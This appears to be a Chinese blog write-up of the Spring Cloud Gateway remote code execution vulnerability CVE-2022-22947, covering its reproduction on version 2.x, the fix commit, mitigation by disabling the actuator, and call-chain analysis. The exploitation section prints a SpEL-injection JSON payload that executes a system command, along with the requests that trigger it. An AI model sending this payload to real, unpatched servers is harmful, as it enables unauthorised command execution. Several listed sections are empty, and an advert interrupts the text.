iOS 逆向工程 app安全 网络安全

远程代码执行漏洞复现分析

2022-04-11  本文已影响0人  顶风作案7号

简介

前段时间有篇文章披露了开源项目 Spring Cloud Gateway 的一个远程代码执行漏洞,编号为 CVE-2022-22947。

受影响版本

根据 VMWare 和 Spring 的官方公告,受影响的版本为:

修复方案

修复方案有:

检测思路

流量检测:分析 HTTP 流量,检测是否存在异常访问 actuator gateway API 的请求。

主机端:

漏洞分析

目前已公开的漏洞分析文章都在分析 3.x 版本,为了确认 2.x 版本也受影响,本文对 2018 年发布的 Finchley.RELEASE 版本进行了分析,Spring Cloud Gateway 的版本为 2.0.0.RELEASE

环境搭建

演示项目代码已上传到 GitHub 仓库。

项目中,通过配置文件定义了一个路由。启动项目后,访问 http://localhost:8080/ip,如果一切正常,则会得到以下结果:

image.png

利用方法

POST 方法请求 /actuator/gateway/routes/pentest,并提交以下数据,用于创建一条恶意路由:

{
  "id": "pentest",
  "filters": [
    {
      "name": "AddResponseHeader",
      "args": {
        "name": "X-Request-Foo",
        "": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(getRuntime().exec(new String[]{\"wh\"}).getInputStream()))}"
      },
      "uri": "http://httpbin.org/get",
      "predicates": [
        {
          "name": "Method",
          "args": {
            "_key_0": "GET"
          }
        },
        {
          "name": "Path",
          "args": {
            "_key_0": "/pentest"
          }
        }
      ]
    }
  ]
}

有关其它 actuator gateway 的 API,可查看官方文档[^7]。

image.png

接着以 POST 方法请求 /actuator/gateway/refresh ,用于刷新路由,使刚添加的恶意路由生效。

最后以 GET 方法请求 /pentest,触发恶意路由。在响应中可以看到过滤器添加的响应头:

image.png

【一>所有资源获取<一】
1、很多已经买不到的绝版电子书
2、安全大厂内部的培训资料
3、全套工具包
4、100份src源码技术文档
5、网络安全基础入门、Linux、web安全、攻防方面的视频
6、应急响应笔记 7、 网络安全学习路线
8、ctf夺旗赛解析
9、WEB安全入门笔记

修复方案分析

代码修复方案

首先在官方仓库中查看为了修复漏洞的 commit:


image.png

ShortcutConfigurable 接口中的 getValue 方法中,使用自定义的 GatewayEvaluationContext 类替换了原来的 StandardEvaluationContext 类。查看 GatewayEvaluationContext 类的实现可知,其是对 SimpleEvaluationContext 类的简单封装。

通过查询文档可知,StandardEvaluationContextSimpleEvaluationContext 都类是执行 Spring 的 SpEL 表达式的接口,区别在于前者支持 SpEL 表达式的全部特性,后者相当于一个沙盒,限制了很多功能,如对 Java 类的引用等。因此通过将 StandardEvaluationContext 类替换为 GatewayEvaluationContext 类,可以限制执行注入的 SpEL 表达式。

禁用 actuator gateway

通过前面的漏洞利用过程可以看到,首先需要通过 /actuator/gateway/routes/{id} API 创建一条路由。因此将此 API 禁止,也可实现漏洞的修复。根据 Actuator 的 API 文档[^7]可知,启用 actuator gateway 需要设置以下两个配置的值:

management.endpoint.gateway.enabled=true # default value
management.endpoints.web.exposure.include=gateway

因此只要这两个选项不同时满足,就不会启用 actuator gateway。

漏洞分析思路

ShortcutConfigurable 接口开始,通过 IntelliJ IDEA 可以看到,大多数内置过滤器都继承了 ShortcutConfigurable 接口。其次,RouteDefinitionRouteLocator 类(org/springframework/cloud/gateway/route/RouteDefinitionRouteLocator.class)的私有方法 loadGatewayFilters 中调用了 ShortcutConfigurable 接口的 normalize 方法:

image.png image.png

通过简单的回溯,RouteDefinitionRouteLocator 类的公有方法 getRoutes 最终会调用 loadGatewayFilters 方法,调用链为:

loadGatewayFilters() -> getFilters() -> convertToRoute() -> getRoutes()

因此 /actuator/gateway/routes 这个 URI 也会触发 SpEL 表达式的执行。

再仔细看下 loadGatewayFilters 方法的关键功能:

2.x 与 3.x 版本的区别

在产生漏洞的核心点上,二者没有区别,都是 ShortcutConfigurable 接口的 getValue 方法中使用了 StandardEvaluationContext 类来执行 SpEL 表达式。

第一个区别在于,2.x 版本在刷新路由后需要额外一次请求才能触发 SpEL 表达式的执行。而 3.x 版本在刷新路由后会立即执行。

第二个区别在于对此方法的调用链。通过查找源代码可知,只有 ConfigurationService 类的内部类 ConfigurableBuildernormalizeProperties 方法(重写了父类中的方法)中调用了 normalize 方法。而 ConfigurableBuilder 类继承自内部抽象类 AbstractBuilderAbstractBuilder 类中有一公有方法 bind 调用了 normalizeProperties 方法。

继续跟进对 bind 方法的引用,可知有三处:

然后继续回溯可以知道所有有可能触发 SpEL 表达式执行的地方。

上一篇下一篇

猜你喜欢

热点阅读